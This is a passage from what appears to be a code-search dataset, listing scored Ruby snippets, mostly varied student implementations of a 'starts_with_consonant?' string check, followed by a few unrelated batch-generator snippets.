"text": "def starts_with_consonant? s\n if s == nil || s.length == 0\n return false\n end\n arr = ['a', 'e', 'i', 'o', 'u']\n a = s[0].downcase >= 'a' && s[0].downcase<= 'z' && arr.index(s[0].downcase) == nil\n return a\nend",
"title": ""
},
{
"docid": "5db4b56abc45730cf4682e4e3ed35c00",
"score": "0.77789646",
"text": "def starts_with_consonant? s # return true if s starts with a consonant\n s = s.downcase() # make string lowercase\n if s.length == 0 # check if empty string\n return false\n elsif /\\Aa/.match(s) || /\\Ae/.match(s) || /\\Ai/.match(s) || /\\Ao/.match(s) || /\\Au/.match(s) # check if starts with vowel\n return false\n elsif /\\W/.match(s) # check if non-letter\n return false\n else\n return true\n end\nend",
"title": ""
},
{
"docid": "d068e057eaab6d8ede6f0adeca632430",
"score": "0.7772273",
"text": "def starts_with_consonant? s\n return false if s.length == 0\n return ( s[0] =~ /[a-z]/i ) && ! ( s[0] =~ /[aeiou]/i )\n\nend",
"title": ""
},
{
"docid": "7d8848602330bcce4bad59db500b5e9d",
"score": "0.77118987",
"text": "def starts_with_consonant?(s)\n\tif s.empty?\n\t\tfalse\n\telse\n\t\t#s.upcase.start_with?(\"A\",\"E\",\"I\",\"O\",\"U\")\n\t\t#s.upcase[/\\A[AEIOU]/]\n\t\t!!s[/\\A[a-z]/i] and !s[/\\A[aeiou]/i]\n\tend\nend",
"title": ""
},
{
"docid": "a7fadb5b1034c47ee927b870c2fc79a4",
"score": "0.7637473",
"text": "def starts_with_consonant? s\n if s.empty? == false\n s = s.downcase\n if s[0].match?(/[a-z]/) == true and s[0].match?(/[aeiou]/) == false\n return true\n end\n else\n return false\n end\nend",
"title": ""
},
{
"docid": "6e52d9c9d838d0a9b4be250419db2b46",
"score": "0.76368964",
"text": "def starts_with_consonant? s\n if /[^a-zA-Z]/ =~ s\n return false\n end\n \n # Returns false if s is an empty string\n if s.length == 0\n return false\n end\n \n # Returns false if s starts with any consonants\n if s.start_with?(\"A\",\"a\",\"E\",\"e\",\"I\",\"i\",\"O\",\"o\",\"U\",\"u\")\n return false\n end\n \n return true\nend",
"title": ""
},
{
"docid": "09566aacf5e3895425bbcc9a4d0519a5",
"score": "0.7636827",
"text": "def starts_with_consonant?(s)\n /^[bcdfghjklmnpqrstvwxyz]/i === s[0]\nend",
"title": ""
},
{
"docid": "00de64cb17aa56beaccb067eacad087a",
"score": "0.7613438",
"text": "def starts_with_consonant? s\n #If starting character is not a,e,i,o,u or non-letter then it will be a consonant.\n #not a,e,i,o,u or non-letter => ^aeiou\\W\n #^ means not\n #\\W means non-letter\n #Abve condition is for first character hence ^[....]\n #i at the end makes match case insensitive\n \n /^[^aeiou\\W]/i.match(s) != nil\nend",
"title": ""
},
{
"docid": "a8bbc17ff9956ddf21414432de9a90d6",
"score": "0.761074",
"text": "def starts_with_consonant?(s)\t\n\ts.downcase =~ /^[bcdfghjklmnpqrstvwxy]/\nend",
"title": ""
},
{
"docid": "109035f4f5f786db1dcc2c4188c2b4c3",
"score": "0.7605916",
"text": "def starts_with_consonant? s\n vowel =['a','e','i','o','u','A','E','I','O','U']\n if vowel.include?(s.slice(0, 1)) || s.empty? || !s.match(/^[[:alpha:]]+$/)\n return false\n else\n return true\n end\nend",
"title": ""
},
{
"docid": "740247f09b425777519ca58cc6d78af7",
"score": "0.75806814",
"text": "def starts_with_consonant?(a_string)\n consonants = ['b', 'c', 'd', 'f', 'g', 'h', 'j', 'k', 'l', 'm', 'n', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z']\n the_first_char = a_string.chr.downcase\n consonants.include? the_first_char\nend",
"title": ""
},
{
"docid": "553d473b9ae3cbb2cdbd59ad67e6ab7b",
"score": "0.7563963",
"text": "def is_consonant?(str)\n value = false\n if !is_vowel?(str)\n if str.match?(/[a-zA-Z]/)\n value = true\n end\n end\n value\n end",
"title": ""
},
{
"docid": "5cc8f0c6ab31bfad45acbd399e002ab7",
"score": "0.7557303",
"text": "def starts_with_consonant? s\n s = s.downcase\n answer = s.start_with?(\"b\", \"c\", \"d\", \"f\", \"g\", \"h\", \"j\", \"k\", \"l\", \"m\", \"n\", \"o\", \"p\", \"q\", \"r\", \"s\", \"t\", \"v\", \"w\", \"x\", \"y\", \"z\")\n return answer\nend",
"title": ""
},
{
"docid": "ba2d8363e6ee7a1853c062e9c98982fc",
"score": "0.7554642",
"text": "def consonant(char)\n !char.match(/[aAeEiIoOUu]/)\n end",
"title": ""
},
{
"docid": "b3ce0828da105261239ccbe0b7a8753d",
"score": "0.7525956",
"text": "def starts_with_consonant?(s)\n return false if s.empty?\n /[b-df-hj-np-tv-z]/ =~ s[0].downcase\nend",
"title": ""
},
{
"docid": "6dc9a4b17781e89d2214bdd4cbff236c",
"score": "0.75143826",
"text": "def starts_with_consonant?(s)\n\t!(s =~ /\\A[bcdfghjklmnpqrstvwxyz]/i).nil?\nend",
"title": ""
},
{
"docid": "ecd1afdda562a018e323de7968478aac",
"score": "0.75076014",
"text": "def starts_with_consonant? s\n /[bcdfghjklmnpqrstvwxyz]/i.match(s[0])\nend",
"title": ""
},
{
"docid": "b072b2bc6413cf6875ac6d9d3f9d99a2",
"score": "0.75073165",
"text": "def starts_with_consonant?(s)\n \n vowels = %w(a e i o u)\n consonant =(\"a\"..\"z\").find_all { |letter| !vowels.include? letter}\n if s.is_a?(String) && !s.empty?\n return consonant.include? s[0].downcase\n\n else\n return false\n end\nend",
"title": ""
},
{
"docid": "5af400d599e3aec711a9a7b8a4eff57e",
"score": "0.7472228",
"text": "def starts_with_consonant?(s)\n #s =~ /^[^aeiou]/i && s =~ /^[a-z]/i\n # Alternate version with string index; \n # .index returns a number if the char is found == true; returns nil == false otherwise\n return false if s.empty?\n \"bcdfghjklmnpqrstvwxyz\".index(s[0].downcase)\nend",
"title": ""
},
{
"docid": "bbcd897a1af61bc8c3dc87279ca53dee",
"score": "0.7462401",
"text": "def starts_with_consonant?(s)\n # if not AEIOU\n \n answer = false\n \n if s =~ /\\A(?=[a-z])(?=[^aeiou])/i\n answer = true\n end\n return answer\nend",
"title": ""
},
{
"docid": "970ab7937e8e4f361d3fe9945b32a36e",
"score": "0.7457157",
"text": "def starts_with_consonant?(s)\n !!(s[0] =~ /[bcdfghjklmnprstvwxyz]+/i)\nend",
"title": ""
},
{
"docid": "ea40c84b356676717ddaf9f745c792c7",
"score": "0.74441206",
"text": "def starts_with_consonant?(s)\n /^[bcdfghjklmnpqrstvwxyz]/ =~ s.downcase\nend",
"title": ""
},
{
"docid": "3cb32d10e8e1847451ca90a9f4062530",
"score": "0.74421465",
"text": "def starts_with_consonant? s\n return false if s =~ /^[^a-zA-Z]/\n return true if s =~ /^[^AEIOU]/i \nend",
"title": ""
},
{
"docid": "b72ec4e1bbcbdc4553ae5592d10f1e79",
"score": "0.7424988",
"text": "def starts_with_consonant? s\n !!(s[0] =~ /[bcdfghjklmnprstvwxyz]+/i)\n #!!(s[0] !~ /[aeiou]+/i)\nend",
"title": ""
},
{
"docid": "303f561f3515efab9853bd8bce0a2fd3",
"score": "0.7402736",
"text": "def starts_with_consonant? s\n s.upcase.match(/^[[[:alpha:]]&&[^AEIOU]]/) != nil\nend",
"title": ""
},
{
"docid": "291a5b874d752246158f7a20e92978e0",
"score": "0.7402202",
"text": "def starts_with_consonant?(s)\n\t# nonconsonants = ['A', 'E', 'I', 'O', 'U', 'a', 'e', 'i', 'o', 'u']\n\t# nonconsonants_lowercase = nonconsonants.map{|char| char.downcase}\n\t# return \t!nonconsonants.include?(s[0])\n\t# return !s[0].match(/[AEIOUaeiou][[:punct:]]/)\n\treturn false if s.empty?\n\treturn s[0].match(/[AEIOUaeiou[:punct:][:digit:]]/) ? false : true\n\t# return s[0].match(/[[AEIOUaeiou]&&[a-z][A-Z]]/) ? false : true\n\t# return false if s[0].match(/[AEIOUaeiou[:punct:]]/)\n\t# return true\nend",
"title": ""
},
{
"docid": "994643259d1ded626fce8152c9c67ced",
"score": "0.7398492",
"text": "def starts_with_consonant? s\n if s.empty?\n return false\n elsif (s[0].match(/^B/) || s[0].match(/^C/) || s[0].match(/^D/) || s[0].match(/^F/) || s[0].match(/^G/) || s[0].match(/^H/) || s[0].match(/^J/) || s[0].match(/^K/) || s[0].match(/^L/) || s[0].match(/^M/) || s[0].match(/^N/) || s[0].match(/^P/) || s[0].match(/^Q/) || s[0].match(/^R/) || s[0].match(/^S/) || s[0].match(/^T/) || s[0].match(/^V/) || s[0].match(/^W/) || s[0].match(/^X/) || s[0].match(/^Y/) || s[0].match(/^Z/) || s[0].match(/^b/) || s[0].match(/^c/) || s[0].match(/^d/) || s[0].match(/^z/) || s[0].match(/^f/) || s[0].match(/^g/) || s[0].match(/^h/) || s[0].match(/^j/) || s[0].match(/^k/) || s[0].match(/^l/) || s[0].match(/^m/) || s[0].match(/^n/) || s[0].match(/^p/) || s[0].match(/^q/) || s[0].match(/^r/) || s[0].match(/^s/) || s[0].match(/^t/) || s[0].match(/^v/) || s[0].match(/^w/) || s[0].match(/^x/) || s[0].match(/^y/)) #== /[A-Z&&[^AEIOU]]/ || s[0]== /[a-z&&[^aeiou]]/\n return true\n else\n return false\n end\nend",
"title": ""
},
{
"docid": "30744888f2f0913ed851ba5149d72efd",
"score": "0.73932576",
"text": "def starts_with_consonant? s\n s=~ /\\A(?=[^aeiou])(?=[a-zA-Z])/i\nend",
"title": ""
},
{
"docid": "f9525d7893e0b8e5088bea34015c314a",
"score": "0.7375101",
"text": "def starts_with_consonant?(s)\n \n if (s.length==0)\n return false\n end\n \n if( (s =~ /^[aeiouAEIOU0-9\\W]/) != nil )\n return false\n end\n return true\nend",
"title": ""
},
{
"docid": "db7272b2b239993fd42f46330bc1c8cb",
"score": "0.73703134",
"text": "def starts_with_consonant?(s)\n return false if s.empty?\n return false unless s =~ /^[[:alpha:]]/\n /^[^aeiou]/i.match(s)\nend",
"title": ""
},
{
"docid": "15756b269a7412e41626c207ad1e4779",
"score": "0.7365146",
"text": "def next_consonant(letter)\n if letter == \"z\" \n then \n return \"a\"\n elsif (letter.ord < 97) or (letter.ord > 122)\n return letter\n elsif letter.match(/[dhnt]/) == nil\n return (letter.ord + 1).chr\n else \n return (letter.ord + 2).chr\n end\nend",
"title": ""
},
{
"docid": "4780f5d129390458bcaae75a66819ad8",
"score": "0.7337271",
"text": "def starts_with_consonant_BADEXAMPLE?(s)\n if s.empty? || s.to_s == nil \n \treturn false\n end\n\n vowels = [\"a\",\"e\",\"i\",\"o\",\"u\"]\n \n vowels.each{ |v| \t\n if s[0].casecmp(v) == 0\n \treturn false\n end\n }\n\n return true\nend",
"title": ""
},
{
"docid": "882feb07da376e9c8a81530bceea910d",
"score": "0.7305817",
"text": "def starts_with_consonant?(s)\n ( /^[^AEIOU]/ =~ s.capitalize )!= nil\nend",
"title": ""
},
{
"docid": "2c5d95cfb7ae7c87bcffa3b1cf4b1aa0",
"score": "0.7300451",
"text": "def starts_with_consonant? s\n /^[bcdfghjklmnpqrstvwxyz]/i.match(s) != nil\nend",
"title": ""
},
{
"docid": "0b4ba49d11f48ffb1479d0bfdc2d4ecf",
"score": "0.72927165",
"text": "def starts_with_consonant?(s)\n r = s =~ /\\A[b, c, d, f, g, h, j, k, l, m, n, p, q, r, s, t, v, w, x, y, z]/i\n if r.nil?\n return false\n else\n return true\n end\nend",
"title": ""
},
{
"docid": "ed1e1dee328716a73a6a529475d6c294",
"score": "0.72732997",
"text": "def starts_with_consonant? s\n # YOUR CODE HERE\n # psj :: !! it's easier to evaluate an array of vowels using #includes? than understand your regular expression\n # vh: agreed but was not passing test on special characters ex. /&%$# \n # this expression works too (s =~ /^(?=[^aeiou])(?=a-z)/i )==0\n # you had it something like this: , so we can add\n # BP : What I noticed on this is that the original way it was written,\n # any tests with numbers or special characters were returning true. ..and emptys and ints threw errors.\n # the other option could be to just test the consonants instead of vowels.. but that isn't very elegent \n \n vowels = %w(a e i o u)\n consonant =(\"a\"..\"z\").find_all {|letter| !vowels.include? letter}\nif (s.is_a?(String) && !s.empty?)\n return consonant.include? s[0].downcase\nelse \n return false\nend\nend",
"title": ""
},
{
"docid": "3d5c78768e3ca72a832c9f368c43588c",
"score": "0.72479534",
"text": "def consonant(letter)\n consonant = \"bcdfghjklmnpqrstvwxyz\"\n original_index = consonant.index(letter)\n if letter == \" \"\n letter = \" \"\n elsif letter == \"z\"\n letter = \"b\"\n else\n letter = consonant[original_index+1]\n end\n letter\n end",
"title": ""
},
{
"docid": "ec8f29aee5d96f9442cb5026bc6a7f25",
"score": "0.72461665",
"text": "def starts_with_consonant?(s)\n (/^[^aeiou].*$/i =~ s.to_s.downcase).eql? 0\nend",
"title": ""
},
{
"docid": "2227eb9f4f384455ca5f37b7fe7c5698",
"score": "0.7241442",
"text": "def starts_with_consonant? s\n s =~ /\\A(?=[^aeiou])(?=[a-z])/i\nend",
"title": ""
},
{
"docid": "2227eb9f4f384455ca5f37b7fe7c5698",
"score": "0.7241207",
"text": "def starts_with_consonant? s\n s =~ /\\A(?=[^aeiou])(?=[a-z])/i\nend",
"title": ""
},
{
"docid": "2227eb9f4f384455ca5f37b7fe7c5698",
"score": "0.7241207",
"text": "def starts_with_consonant? s\n s =~ /\\A(?=[^aeiou])(?=[a-z])/i\nend",
"title": ""
},
{
"docid": "2f0be4bef4821afc094e77841719e419",
"score": "0.7214999",
"text": "def starts_with_consonant? s\n return (s =~ /^(?![aeiou]).*/i) && (s =~ /^[a-z].*/i)\nend",
"title": ""
},
{
"docid": "7008f41c947ec3cac96a75b5cf661993",
"score": "0.7213455",
"text": "def starts_with_consonant?(s)\ns =~ /\\A[b-df-hj-np-tv-z]/i\nend",
"title": ""
},
{
"docid": "f60cf7a38888220318e6773d594d41d3",
"score": "0.72042376",
"text": "def starts_with_consonant? s\n s =~ /^[a-z]/i && s !~ /^[aeiou]/i\nend",
"title": ""
},
{
"docid": "7f84fce9edefcd8eb323fea1de2b0aa3",
"score": "0.7185423",
"text": "def double_consonants(str)\n doubled_consonants = ''\n str.chars.each do |char|\n if 'bcdfghjklmnpqrstvwxyz'.include?(char.downcase)\n 2.times do\n doubled_consonants << char\n end\n else\n doubled_consonants << char\n end\n end\n doubled_consonants\nend",
"title": ""
},
{
"docid": "408a26271150b27a1e92fe246958b5d9",
"score": "0.71808463",
"text": "def starts_with_consonant? s\n # YOUR CODE HERE\n s =~ /\\A[bcdfghjklmnprstvwxyz]/i\nend",
"title": ""
},
{
"docid": "8b9ef69e8f9306024eca9322a694dc02",
"score": "0.7179621",
"text": "def next_consonant (ch)\r\n ch.downcase!\r\n consonants='bcdfghjklmnpqrstvwxyz '\r\n ch == 'z' ?\r\n 'b': consonants[consonants.index(ch)+1]\r\nend",
"title": ""
},
{
"docid": "e2714adb3634491f52741161aac85931",
"score": "0.71756166",
"text": "def starts_with_consonant?(s)\n regex = /\\A[bcdfghjklmnpqrstvwxyz]/i\n regex =~ s ? true : false\nend",
"title": ""
},
{
"docid": "48ace5d75e189c294c77357f4903ede2",
"score": "0.71700287",
"text": "def double_consonants(str)\n result = ''\n str.each_char do |char|\n if 'aeiouAEIOU'.include?(char) || char.match(/[^a-z]/i)\n result << char\n else\n result << char << char\n end\n end\n result\nend",
"title": ""
},
{
"docid": "5914e47e8fc48b3af3fa6126fb6c2295",
"score": "0.71685517",
"text": "def starts_with_consonant?(s)\n\t/^[^aeiou\\W]/i.match(s)\nend",
"title": ""
},
{
"docid": "2c333fc7b41997b038b39acf0816cf53",
"score": "0.71486074",
"text": "def starts_with_consonant?(s)\n\n\tif s.empty? then return false end\n\n\tunless s.match( /(\\A[^aeiou^\\d^\\s^\\W])\\.*/i ) == nil then\n\t\n\t\treturn true\n\t\t\n\telse\n\t\n\t\treturn false\t\n\t\n\tend\t\n\nend",
"title": ""
},
{
"docid": "144712a3027539e1d3d094fca941f235",
"score": "0.7135955",
"text": "def starts_with_consonant?(s)\n #\\W:catch any non-word character,\n # i: added at the end to make regular expression case insensitive. do not care upper or lower case\n if /^[^aeiou\\W]/i.match(s) == nil\n return false\n end\n return true\nend",
"title": ""
},
{
"docid": "9e407744c0e108c63ed459ef8dfb9d06",
"score": "0.7132362",
"text": "def starts_with_consonant? s\n s =~ /^[^aeiou]/i && s =~ /^\\w/\nend",
"title": ""
},
{
"docid": "d0b5b1121d2ec175cf317f7f9b0f59a6",
"score": "0.71301764",
"text": "def starts_with_consonant?(s) \n \tif \t/^[^aeiou\\W]/i.match(s) == nil\n \t\treturn true\n \telse\n \t\treturn false \n \tend\nend",
"title": ""
},
{
"docid": "9b640317a76e57421f90159395fd9735",
"score": "0.71273965",
"text": "def starts_with_consonant?(string)\n string !~ /^[aeiou]/i &&\n string =~ /^\\w/\nend",
"title": ""
},
{
"docid": "e76ed653ee6dd8d3947b3e28a9659fed",
"score": "0.7119976",
"text": "def starts_with_consonant?(s)\n s =~ /\\A[^aeiou\\W_]/i\nend",
"title": ""
},
{
"docid": "998589e5c6680c2a1bffbbd759c273cf",
"score": "0.7119571",
"text": "def double_consonants(str)\n result = \"\"\n str.each_char do |char|\n if /[A-Za-z]/.match(char) && /[^aeiou]/.match(char)\n result << char << char\n else\n result << char\n end\n end\n result\nend",
"title": ""
},
{
"docid": "93a3d4a4612644c6e0895cd2d3bfc351",
"score": "0.7108025",
"text": "def double_consonants(string)\n new_string = ''\n string.chars.each do |char|\n if ('A'..'z').include?(char) && !(%w(A E I O U a e i o u).include?(char))\n new_string << char << char\n else\n new_string << char\n end\n end\n new_string\nend",
"title": ""
},
{
"docid": "c6efccd078d4df02aeb5f6aa8a3d87a6",
"score": "0.7105025",
"text": "def starts_with_consonant?(s)\r\n\tif s[0] =~ /[^AEIOUaeiou]/ then true else false end\r\nend",
"title": ""
},
{
"docid": "7876cc93066b723b1958aadf83b792bf",
"score": "0.7102032",
"text": "def starts_with_consonant? s\n return (s =~ /^[^aeiouAEIOU\\W].*/)\nend",
"title": ""
},
{
"docid": "223858584ce7706ac787915d1340f8d7",
"score": "0.7096788",
"text": "def double_consonants(str)\n result = ''\n str.each_char do |char|\n if (char.count 'a-zA-Z', '^aeiouAEIOU') > 0\n result << char * 2\n else\n result << char\n end\n end\n result\nend",
"title": ""
},
{
"docid": "baa838633e91641695b39bfd318d798e",
"score": "0.7094805",
"text": "def starts_with_consonant? s\n s =~ /^[^aeiouAEIOU\\W]/\nend",
"title": ""
},
{
"docid": "c3dc5c30d9f5a2571be1e7cde5758a97",
"score": "0.7091481",
"text": "def starts_with_consonant?(s)\n regex = /\\A[BCDFGHJKLMNPQRSTVWXYZ]/i\n s =~ regex ? true : false \nend",
"title": ""
},
{
"docid": "67bd728650418b2e492bc2ab167d464e",
"score": "0.7084488",
"text": "def starts_with_consonant? s\r\n # YOUR CODE HERE\r\n wait = s[0]\r\n if /^[^aeiou\\W]/i.match(s) == nil \r\n return false \r\n else \r\n return true \r\n end \r\nend",
"title": ""
},
{
"docid": "3a3cf3f5b654a19172d2dc82df0d964c",
"score": "0.70696324",
"text": "def double_consonants(text)\n double_string = ''\n text.each_char do |char|\n double_string << char\n double_string << char if char =~ /[a-z&&[^aeiou]]/i\n end\n double_string\nend",
"title": ""
},
{
"docid": "300091e9eb1883ac40f2017dba345fe8",
"score": "0.7065287",
"text": "def consonant (letter)\n\tconsonant = \"bcdfghjklmnpqrstvwxyz\"\n\tcons_idx = consonant.index(letter)\n\treturn 'b' if letter == 'z'\n\tconsonant[cons_idx +1]\nend",
"title": ""
},
{
"docid": "2618a859267b2150a34a9f9b37331a7b",
"score": "0.70622516",
"text": "def starts_with_consonant? (s)\n\t/^[b-df-hj-np-tv-z]/i.match(s) != nil\nend",
"title": ""
},
{
"docid": "2618a859267b2150a34a9f9b37331a7b",
"score": "0.70622516",
"text": "def starts_with_consonant? (s)\n\t/^[b-df-hj-np-tv-z]/i.match(s) != nil\nend",
"title": ""
},
{
"docid": "3e37b732eb7c4fcfae63f66818af49bd",
"score": "0.7061414",
"text": "def next_consonant(char)\r\n if char == \"z\"\r\n return \"b\"\r\n elsif char == \"Z\"\r\n return \"B\"\r\n elsif vowel?(char.downcase.next)\r\n return char.next.next\r\n else\r\n return char.next\r\n end\r\nend",
"title": ""
},
{
"docid": "7390358e2bb63d3fb471fb515f5d0d8e",
"score": "0.70367146",
"text": "def first_consonants(string)\r\n string.match(/[b-df-hj-np-z]+/)[0] \r\nend",
"title": ""
},
{
"docid": "f196d526a0b036b1be6790c6fadbcfcc",
"score": "0.7032676",
"text": "def starts_with_consonant? s\n return /^[^aeiou\\d\\W]/i =~ s\nend",
"title": ""
},
{
"docid": "db129489625a96dd990375f68c07045f",
"score": "0.701596",
"text": "def starts_with_consonant? s\n # YOUR CODE HERE\n if /^[^aeiou\\W]/i.match(s) == nil\n return false\n else\n return true\n end\nend",
"title": ""
},
{
"docid": "42983f38e0ef28bf5ab97927434c08ab",
"score": "0.7014273",
"text": "def one_char? s\n (s =~ /\\A(.)\\1+\\Z/m) == 0\n end",
"title": ""
},
{
"docid": "0ab3e64584c97afbfd6d44d5b3dff5b3",
"score": "0.7012705",
"text": "def next_consonant (char)\n\t# name all consonants and turn into character arrays\n\tallConsonants = \"bcdfghjklmnpqrstvwxyzBCDFGHJKLMNPQRSTVWXYZ\".chars\n \t# create index variable for each character passed through\n consonantIndex = allConsonants.index(char)\t\n \t# set IF statements for edge casses. Else set character to 1\n \t\t# added to consonant index \n \tif char == \"z\"\t\n \t\tchar = \"b\"\n \telsif char == \"Z\"\t\n \t\tchar = \"B\"\n \telse \n \t\tchar = allConsonants[consonantIndex+1]\n \tend\nend",
"title": ""
},
{
"docid": "82db042a375f3acbe448253208e7e609",
"score": "0.70057946",
"text": "def starts_with_consonant? s\n return /^[b-df-hj-np-tv-z]/i.match(s) != nil\nend",
"title": ""
},
{
"docid": "c5b70af9504dc1580aba2a514b8ae13d",
"score": "0.6999988",
"text": "def starts_with_consonant?(s)\r\n\ts =~/^[^aeiou\\W]/i ? true : false\r\nend",
"title": ""
},
{
"docid": "c27dfc412629be4600ef04c1656362c1",
"score": "0.69876724",
"text": "def starts_with_consonant? s\n /^[^aeiou\\W]/i.match(s) != nil\nend",
"title": ""
},
{
"docid": "0f744e83e534d85fe9e9ba4b6b6eddbe",
"score": "0.69819",
"text": "def starts_with_consonant?(s)\r\n return false if s.empty?\r\n # all consonants\r\n # 1. ('a'..'z').to_a = range to array [a, b, c, ... , z]\r\n # 2. .delete_if = deletes letter from array if vowel\r\n # 3. .reduce( :+ ) = concats the letters array\r\n consonants = ('a'..'z').to_a.delete_if { |letter| 'aeiou'.include? letter }.reduce( :+ )\r\n # Case-insensitive (ends in /i)\r\n regexp_string = '/^[' + consonants + ']/i'\r\n regexp = eval( regexp_string )\r\n return (regexp =~ s) != nil\r\nend",
"title": ""
},
{
"docid": "bba24db3bc0cd4c447751b9a1ec161cb",
"score": "0.6980868",
"text": "def starts_with_consonant?(s)\n (s =~ /^[^aeiou]/i) == 0 ? true : false\nend",
"title": ""
},
{
"docid": "47c83564d5ac59cca664f57ee95ce281",
"score": "0.697893",
"text": "def starts_with_consonant?( s )\n return true if s =~ /^[^aeiou\\W].*/i\n false\nend",
"title": ""
},
{
"docid": "9cccae83b370ec67617c81b5673c416c",
"score": "0.6976935",
"text": "def is_cons(letter)\n\tcons = false\n\t$consonants.each {|x|\n\t\tif x == letter\n\t\t\tcons = true\n\t\tend\n\t}\n\tcons\nend",
"title": ""
},
{
"docid": "64c988ec15945384b01ef8074817ac22",
"score": "0.69768775",
"text": "def starts_with_consonant_alt?(s)\n\ts =~ /\\A(?=[^aeiou])(?=[a-z])/i ? true : false\nend",
"title": ""
},
{
"docid": "545aad18d720329db912234f628bd3ee",
"score": "0.6974547",
"text": "def starts_with_consonant? s\n # YOUR CODE HERE\n /^[A-Z]/i===s && /^[^AEIOU]/i===s\n #s =~ /^[a-z]/i and s !~ /^[aeiou]/i www.rublar.com\n # %asdfa or &asdfasd or %^^\n \n # we have 2 regexs here can we do it with one?\n # eg /^[a-z]&^[^AEIOU]??\n # -->&<--\nend",
"title": ""
},
{
"docid": "e2df17d78f7dee34cf20841cf0b6bf48",
"score": "0.69715726",
"text": "def starts_with_consonant? s\n # Regex (regular expressions) are used to check if s starts with a consonant by excluding vowels\n return s =~ /\\A[^aeiou]/\nend",
"title": ""
},
{
"docid": "6564bb719696cbc6b60241b8c483fd21",
"score": "0.69697815",
"text": "def double_consonants(str)\n new_str = ''\n \n str.each_char do |char|\n if char.downcase =~ /[aeiou\\d\\W]/\n new_str += char\n else\n new_str += char + char\n end\n end\n\n p new_str\nend",
"title": ""
},
{
"docid": "514b1efc1fc5e4377a42e2bcb26700b4",
"score": "0.6959956",
"text": "def double_consonants(str)\n str_out = \"\"\n str.each_char do |chr|\n str_out += chr\n if /[^AEIOUaeiou]/.match(chr); str_out += chr end\n end\n str_out\nend",
"title": ""
},
{
"docid": "7692954cac39aa681489595fd5f51f3c",
"score": "0.69572455",
"text": "def prev_consonant(char)\r\n if char == \"a\" || char == \"b\"\r\n return \"z\"\r\n elsif char == \"A\" || char == \"B\"\r\n return \"Z\"\r\n elsif vowel?((char.downcase.ord - 1).chr)\r\n return (char.downcase.ord - 2).chr\r\n else\r\n return (char.downcase.ord - 1).chr\r\n end\r\nend",
"title": ""
},
{
"docid": "bd65af6b439a7f0c59b9434363119deb",
"score": "0.6954632",
"text": "def starts_with_consonant? s\n if s =~ /^[b-df-hj-nq-tv-z]/i\n return true\n else\n return false\n end\nend",
"title": ""
},
{
"docid": "3f4d3cb1769a4cd8055af8733905e450",
"score": "0.6949079",
"text": "def starts_with_consonant?(s)\r\n\r\n\ts[/\\A[a-z&&[^aeiou]]/i] ? TRUE : FALSE\r\n\r\nend",
"title": ""
}
] |
ec4d9ddf873f15e290044a5ad281716a
|
=begin execs a batch_generator__ definition =end
|
[
{
"docid": "a6bf80c2f8c6ed72414501d292b0707c",
"score": "0.811263",
"text": "def exec__batch_generator batch_generator\n batch_commands batch__from_batch_generator batch_generator\n end",
"title": ""
}
] |
[
{
"docid": "3ccb47625adc83b7b0a77e1b21b9e3a2",
"score": "0.6992839",
"text": "def generators(&blk); end",
"title": ""
},
{
"docid": "3ccb47625adc83b7b0a77e1b21b9e3a2",
"score": "0.6992839",
"text": "def generators(&blk); end",
"title": ""
},
{
"docid": "4634b3dbab2d3c1a5cb8f39f34fcf268",
"score": "0.6941523",
"text": "def generate!\n generator.invoke_all\n end",
"title": ""
},
{
"docid": "632c098307692bb4a5e87ad3ca484f35",
"score": "0.6795771",
"text": "def process(cursor, batch) end",
"title": ""
},
{
"docid": "1b15c99414b9d4b5b6967c16a7d379a0",
"score": "0.66828537",
"text": "def bulk_generate\n\n end",
"title": ""
},
{
"docid": "7a2cb0bd619f2f949fe71c9a854f1e62",
"score": "0.6682157",
"text": "def batch\n yield if block_given?\n end",
"title": ""
},
{
"docid": "b1c024d16f0a62dcbc63a2fcc6269dd3",
"score": "0.6665058",
"text": "def generators; end",
"title": ""
},
{
"docid": "b1c024d16f0a62dcbc63a2fcc6269dd3",
"score": "0.6665058",
"text": "def generators; end",
"title": ""
},
{
"docid": "89350e131bbc3ce6fd1e933b80378b49",
"score": "0.6545644",
"text": "def batch__from_batch_generator batch_generator\n send_args = (send batch_generator) rescue batch_generator\n batch = send *send_args\n end",
"title": ""
},
{
"docid": "44e34a242210d457b9e4316681f97603",
"score": "0.6446676",
"text": "def generators=(_arg0); end",
"title": ""
},
{
"docid": "38baf7adce968adb475de45c6020ed19",
"score": "0.6353697",
"text": "def run_batch\n make_run_batch_call\n end",
"title": ""
},
{
"docid": "6b6861236ce2eac663433f9ccdb89326",
"score": "0.63284063",
"text": "def exec__batch *args\n batch_commands *args\n end",
"title": ""
},
{
"docid": "15d5a0063724ddc5d57cc389d82aec18",
"score": "0.6268063",
"text": "def batch_iterator\n Unipept::BatchIterator.new(batch_size)\n end",
"title": ""
},
{
"docid": "4a3642ffc18900400e2ec9b6d617ff03",
"score": "0.6113682",
"text": "def generate(&block)\n g = Verneuil::Generator.new\n block.call(g)\n g.program\nend",
"title": ""
},
{
"docid": "b8365704a593bedd049e0c3b604b072a",
"score": "0.61053747",
"text": "def generate_next\n @block.call(@so_far)\n end",
"title": ""
},
{
"docid": "841cd5293ede1b5527803a3a6192a107",
"score": "0.6047321",
"text": "def kid_generator=(_arg0); end",
"title": ""
},
{
"docid": "841cd5293ede1b5527803a3a6192a107",
"score": "0.6047321",
"text": "def kid_generator=(_arg0); end",
"title": ""
},
{
"docid": "98b73aff6c17fbd4dadb1719c7d73815",
"score": "0.6037928",
"text": "def gen(&blk)\n IniParse::Generator.new.gen(&blk)\n end",
"title": ""
},
{
"docid": "7aac13cb4da6a171c33b72015949b72a",
"score": "0.6033229",
"text": "def run_bulk; end",
"title": ""
},
{
"docid": "4c473d54990cbec8ee207b901b3f3a41",
"score": "0.5893357",
"text": "def process\n self.generate\n end",
"title": ""
},
{
"docid": "2e5caf641190ebfaf4398328eae83778",
"score": "0.5866512",
"text": "def process_batch(batch)\n call([], :process_batch, batch.__calls)\n end",
"title": ""
},
{
"docid": "ff850a72baa2b4a494606cd6a5f37c1e",
"score": "0.58660334",
"text": "def exec__working_batch *args\n send :exec__batch, @working_batch, *args\n end",
"title": ""
},
{
"docid": "4c71db8c9b91c6ad5f683d67c0ba7d46",
"score": "0.5772465",
"text": "def batch_new\n end",
"title": ""
},
{
"docid": "bb2d3f7409d8a008d0c1853b50bd6e74",
"score": "0.5736969",
"text": "def generate; end",
"title": ""
},
{
"docid": "bb2d3f7409d8a008d0c1853b50bd6e74",
"score": "0.5736969",
"text": "def generate; end",
"title": ""
},
{
"docid": "bd44408da3152bad04dc81fd9e027659",
"score": "0.5705466",
